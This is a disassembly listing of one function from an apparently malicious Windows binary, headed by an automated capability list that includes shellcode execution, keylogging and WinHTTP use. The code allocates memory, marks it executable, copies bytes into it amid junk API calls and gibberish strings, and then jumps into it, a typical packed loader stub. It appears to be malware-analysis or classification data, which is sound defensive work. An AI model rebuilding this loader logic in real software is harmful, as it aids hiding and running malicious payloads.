Function at 0x401622
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Initialize winhttp library
Log keystrokes via polling
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3130
call fcn.0040cbd0
mov ecx, dword [0x2d39764]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
je 0x401812
mov eax, dword [0x4204e8]
add ecx, 0x1134b
push ecx
push edi
mov dword [0x2d39868], eax
mov dword [0x2d39764], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x18]
mov dword [0x2d396bc], eax
push ecx
push 0x40
push dword [0x2d39764]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push edi
lea eax, [ebp - 0x1130]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec esi
jne 0x401680
mov ecx, dword [0x2d39764]
mov esi, edi
test ecx, ecx
je 0x4016ee
mov eax, dword [0x2d39868]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d396bc]
mov byte [eax + esi], cl
mov ecx, dword [0x2d39764]
cmp ecx, 0x490
jne 0x4016e9
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x2d39764]
inc esi
cmp esi, ecx
jb 0x40169d
mov esi, edi
lea eax, [esi + ecx]
cmp eax, 0x8d
jne 0x401781
push str.sezisoxemiyofuheneponapoho
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push edi
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x530]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push edi
call dword [sym.imp.USER32.dll_CharLowerA]
push edi
lea eax, [ebp - 0x1130]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 0x2530]
push eax
push str.wicotosidomepanepujukebetoroh
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push edi
lea eax, [ebp - 0x1530]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x930]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0x2d39764]
inc esi
cmp esi, 0x38681
jl 0x4016f0
push ecx
call fcn.004015be
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4017a6
call fcn.00401606
inc esi
cmp esi, 0x674db
jl 0x401796
push 0x7b
pop esi
cmp dword [0x2d39764], 0x86
jne 0x4017f8
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x3130]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
dec esi
jne 0x4017b2
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2d396bc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x30
lea eax, [ebp - 0x64]
mov dword [ebp - 0x68], edi
push edi
push eax
call fcn.00404cf0
mov esi, dword [sym.imp.KERNEL32.dll_GetCommConfig]
lea eax, [ebp - 0x20]
add esp, 0xc
push eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
push edi
push edi
push edi
push str.Falarebatu_lenusig_mayo_cozuberawo
call dword [sym.imp.USER32.dll_CreateWindowStationA]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push 0x30
lea eax, [ebp - 0x98]
mov dword [ebp - 0x9c], edi
push edi
push eax
call fcn.00404cf0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x9c]
push eax
push edi
call esi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, dword [sym.imp.USER32.dll_ChangeMenuA]
push edi
push edi
push str.Kukejan_libik
push edi
push edi
call esi
push edi
push edi
push str.fowovamukanobegocasoxi
push edi
push edi
call esi
push edi
call dword [sym.imp.USER32.dll_CloseWindow]
push edi
lea eax, [ebp - 0x1d30]
push eax
push edi
push str.xiposezujulohuhew_mahudubagugemuhedas_hor
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push edi
lea eax, [ebp - 0x930]
push eax
push edi
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push edi
push edi
lea eax, [ebp - 0x1530]
push eax
push edi
push edi
call dword [sym.imp.USER32.dll_DdeQueryStringA]
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x2d30]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push edi
push edi
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.USER32.dll_DrawEdge]
push edi
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor eax, eax
lock bts dword [eax], 0
push edi
lea eax, [ebp - 0x2530]
push eax
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push edi
lea eax, [ebp - 0x530]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push edi
lea eax, [ebp - 0x1130]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push edi
push ecx
and dword [esp], edi
call fcn.004010d0
add esp, 8
fstp st(0)
call fcn.00403dd2
int3